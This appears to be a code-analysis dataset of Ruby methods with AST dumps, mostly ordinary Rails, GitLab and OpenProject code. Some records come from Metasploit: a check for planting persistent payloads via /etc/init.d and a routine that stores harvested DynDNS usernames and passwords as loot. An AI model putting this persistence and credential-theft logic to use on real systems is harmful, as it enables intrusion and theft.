{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1273,"raw_source":"def test_time_field_with_invalid_string_values_for_min_and_max\n    expected = %{<input id=\"post_written_on\" name=\"post[written_on]\" type=\"time\" value=\"01:02:03.000\" />}\n    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)\n    min_value = \"foo\"\n    max_value = \"bar\"\n    assert_dom_equal(expected, time_field(\"post\", \"written_on\", min: min_value, max: max_value))\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_field_with_invalid_string_values_for_min_and_max\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" name=\\\"post[written_on]\\\" type=\\\"time\\\" value=\\\"01:02:03.000\\\" />\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"min_value\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"max_value\",{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"time_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"lvar\",\"children\":[\"min_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"lvar\",\"children\":[\"max_value\"]}]}]}]}]}]}]}","id":"e39c17a3-b88f-4a1a-a406-38bed24172bd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/application_controller.rb","start_line":395,"raw_source":"def api_key_from_request\n    if params[:key].present?\n      params[:key]\n    elsif request.headers[\"X-OpenProject-API-Key\"].present?\n      request.headers[\"X-OpenProject-API-Key\"]\n    end\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"api_key_from_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-OpenProject-API-Key\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-OpenProject-API-Key\"]}]},null]}]}]}","id":"3d34ef0b-72d4-4f6c-b678-56135fd92af9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow.rb","start_line":406,"raw_source":"def get_source_and_targets(refresh = false)\n    return @target_resource if @target_resource && refresh == false\n\n    vm_id = get_value(@values[:src_vm_id])\n    rails_logger('get_source_and_targets', 0)\n    svm = VmOrTemplate.find_by(:id => vm_id)\n\n    if svm.nil?\n      @vm_snapshot_count = 0\n      return @target_resource = {}\n    end\n\n    @vm_snapshot_count = svm.v_total_snapshots\n    result = {}\n    result[:vm] = ci_to_hash_struct(svm)\n    result[:ems] = ci_to_hash_struct(svm.ext_management_system)\n\n    result\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_source_and_targets\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"refresh\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refresh\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_resource\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vm_id\",{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"src_vm_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rails_logger\",{\"type\":\"str\",\"children\":[\"get_source_and_targets\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"svm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"vm_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svm\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vm_snapshot_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@target_resource\",{\"type\":\"hash\",\"children\":[]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@vm_snapshot_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svm\"]},\"v_total_snapshots\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vm\"]},{\"type\":\"send\",\"children\":[null,\"ci_to_hash_struct\",{\"type\":\"lvar\",\"children\":[\"svm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ems\"]},{\"type\":\"send\",\"children\":[null,\"ci_to_hash_struct\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svm\"]},\"ext_management_system\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"af35d45b-6648-47b6-8dcf-826c0ed945ed"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/calculated_values/error_handler.rb","start_line":73,"raw_source":"def build_error_contexts\n      calculation_errors.filter_map do |cf_id, error|\n        build_error_context(cf_id, error)\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_error_contexts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"calculation_errors\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf_id\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"build_error_context\",{\"type\":\"lvar\",\"children\":[\"cf_id\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}","id":"fbf0ced1-bda2-4896-bb45-6bf25c374ad1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/method_length.rb","start_line":50,"raw_source":"def on_def(node)\n          return if allowed?(node.method_name)\n\n          check_code_length(node)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_code_length\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"a0c669af-1270-45a1-92fa-651bba5840eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/launcher.rb","start_line":117,"raw_source":"def flush_stats\n      fails = Processor::FAILURE.reset\n      procd = Processor::PROCESSED.reset\n      return if fails + procd == 0\n\n      nowdate = Time.now.utc.strftime(\"%Y-%m-%d\")\n      begin\n        redis do |conn|\n          conn.pipelined do |pipeline|\n            pipeline.incrby(\"stat:processed\", procd)\n            pipeline.incrby(\"stat:processed:#{nowdate}\", procd)\n            pipeline.expire(\"stat:processed:#{nowdate}\", STATS_TTL)\n\n            pipeline.incrby(\"stat:failed\", fails)\n            pipeline.incrby(\"stat:failed:#{nowdate}\", fails)\n            pipeline.expire(\"stat:failed:#{nowdate}\", STATS_TTL)\n          end\n        end\n      rescue => ex\n        logger.warn(\"Unable to flush stats: #{ex}\")\n      end\n    end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"flush_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fails\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Processor\"]},\"FAILURE\"]},\"reset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"procd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Processor\"]},\"PROCESSED\"]},\"reset\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fails\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"procd\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"nowdate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"incrby\",{\"type\":\"str\",\"children\":[\"stat:processed\"]},{\"type\":\"lvar\",\"children\":[\"procd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"incrby\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:processed:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nowdate\"]}]}]},{\"type\":\"lvar\",\"children\":[\"procd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"expire\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:processed:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nowdate\"]}]}]},{\"type\":\"const\",\"children\":[null,\"STATS_TTL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"incrby\",{\"type\":\"str\",\"children\":[\"stat:failed\"]},{\"type\":\"lvar\",\"children\":[\"fails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"incrby\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:failed:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nowdate\"]}]}]},{\"type\":\"lvar\",\"children\":[\"fails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"expire\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:failed:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nowdate\"]}]}]},{\"type\":\"const\",\"children\":[null,\"STATS_TTL\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to flush stats: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]}]},null]}]}]}]}","id":"d11b0fdd-aeb1-415d-aa00-6dcd27fa3366"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/profiles_controller.rb","start_line":68,"raw_source":"def authorize_change_username!\n    render_404 unless @user.can_change_username?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_change_username!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"can_change_username?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"8d14090d-9a89-4299-8c7c-9cbd8be9838f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/organizations/create_service.rb","start_line":26,"raw_source":"def add_organization_owner_attributes\n      @params[:organization_users_attributes] = [{ user: current_user, access_level: :owner }]\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_organization_owner_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"organization_users_attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"sym\",\"children\":[\"owner\"]}]}]}]}]}]}","id":"00429c0a-2086-4e70-8824-f3970521d9b5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":575,"raw_source":"def verbose?\n          ENV[\"VERBOSE\"] ? ENV[\"VERBOSE\"] != \"false\" : true\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"verbose?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"2840c37b-4939-4a1c-9758-84c903cd3362"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb","start_line":108,"raw_source":"def print_good(msg = '')\n      shell.print_good(msg)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\"]},\"print_good\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"6591b5e1-0cff-4adc-9266-dc66da981104"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application.rb","start_line":361,"raw_source":"def initializer(name, opts = {}, &block)\n      self.class.initializer(name, opts, &block)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initializer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"initializer\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"a39ad68d-fc64-4e59-b538-4ba5be996783"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/settings.rb","start_line":222,"raw_source":"def method_missing(name, *args, &block)\n      if config.respond_to?(name)\n        config.send(name, *args, &block)\n      else\n        super\n      end\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5b81d317-dfc4-4403-9768-ebd62c10443c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/persistence/init_sysvinit.rb","start_line":89,"raw_source":"def check\n    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')\n    return CheckCode::Safe(\"#{writable_dir} isnt writable\") unless writable?(writable_dir)\n    return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')\n\n    has_updatercd = command_exists?('update-rc.d')\n    if has_updatercd || command_exists?('chkconfig') # centos 5\n      return CheckCode::Appears(\"#{writable_dir} is writable and system is System V based\")\n    end\n\n    CheckCode::Safe('Likely not a System V based system')\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_dir\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/tmp\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Payloads in /tmp will only last until reboot, you want to choose elsewhere.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"send\",\"children\":[null,\"writable_dir\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_dir\"]}]},{\"type\":\"str\",\"children\":[\" isnt writable\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"str\",\"children\":[\"/etc/init.d/\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"/etc/init.d/ isnt writable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_updatercd\",{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"update-rc.d\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_updatercd\"]},{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"chkconfig\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_dir\"]}]},{\"type\":\"str\",\"children\":[\" is writable and system is System V based\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Likely not a System V based system\"]}]}]}]}","id":"06b50f49-f645-4526-9e0d-9e13a67179b9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/contracts/openid_connect/providers/base_contract.rb","start_line":77,"raw_source":"def path_attribute?(attr)\n        attr.blank? || attr.start_with?(\"/\")\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"path_attribute?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"35231fa6-e1a4-483d-9611-ffea0433a690"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/query_helper.rb","start_line":10,"raw_source":"def measurement_data_rows\n    ActiveRecord::Base.connection.select_all(sanitized_sql_string)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"measurement_data_rows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"select_all\",{\"type\":\"send\",\"children\":[null,\"sanitized_sql_string\"]}]}]}","id":"157648dc-e80a-4e42-8deb-d4d3c0709556"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/lfs/push_service_spec.rb","start_line":90,"raw_source":"def create_linked_lfs_object(project, type)\n    create(:lfs_objects_project, project: project, repository_type: type).lfs_object\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_linked_lfs_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"lfs_objects_project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},\"lfs_object\"]}]}","id":"e8c7815e-6c94-4e9b-a1ef-ae8a906548d5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":1200,"raw_source":"def log(sql, name = \"SQL\", binds = [], type_casted_binds = [], async: false, allow_retry: false, &block) # :doc:\n          instrumenter.instrument(\n            \"sql.active_record\",\n            sql:               sql,\n            name:              name,\n            binds:             binds,\n            type_casted_binds: type_casted_binds,\n            async:             async,\n            allow_retry:       allow_retry,\n            connection:        self,\n            transaction:       current_transaction.user_transaction.presence,\n            affected_rows:     0,\n            row_count:         0,\n            &block\n          )\n        rescue ActiveRecord::StatementInvalid => ex\n          raise ex.set_query(sql, binds)\n        end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"SQL\"]}]},{\"type\":\"optarg\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"type_casted_binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"async\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"allow_retry\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"sql.active_record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"binds\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_casted_binds\"]},{\"type\":\"lvar\",\"children\":[\"type_casted_binds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"lvar\",\"children\":[\"async\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"lvar\",\"children\":[\"allow_retry\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transaction\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"user_transaction\"]},\"presence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"affected_rows\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"row_count\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"set_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]}]},null]}]}","id":"6d7656a0-5c2b-4dd4-9b34-0353c45f40a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/dyndns.rb","start_line":125,"raw_source":"def do_report(data)\n    tbl = Rex::Text::Table.new(\n      'Header' => 'DynDNS Client Data',\n      'Indent' => 1,\n      'Columns' => ['Field', 'Value']\n    )\n\n    creds = Rex::Text::Table.new(\n      'Header' => 'DynDNS Credentials',\n      'Indent' => 1,\n      'Columns' => ['User', 'Password']\n    )\n\n    # Store username/password\n    cred << [data[:user], data[:pass]]\n\n    if !creds.rows.empty?\n      p = store_loot(\n        'dyndns.creds',\n        'text/csv',\n        session,\n        creds.to_csv,\n        'dyndns_creds.csv',\n        'DynDNS Credentials'\n      )\n      print_status(\"Parsed creds stored in: #{p}\")\n    end\n\n    # Store all found hosts\n    hosts = data[:hosts]\n    hosts.each do |host|\n      tbl << ['Host', host]\n    end\n\n    print_status(tbl.to_s)\n\n    if !tbl.rows.empty?\n      p = store_loot(\n        'dyndns.data',\n        'text/plain',\n        session,\n        tbl.to_csv,\n        'dyndns_data.csv',\n        'DynDNS Client Data'\n      )\n      print_status(\"Parsed data stored in: #{p}\")\n    end\n  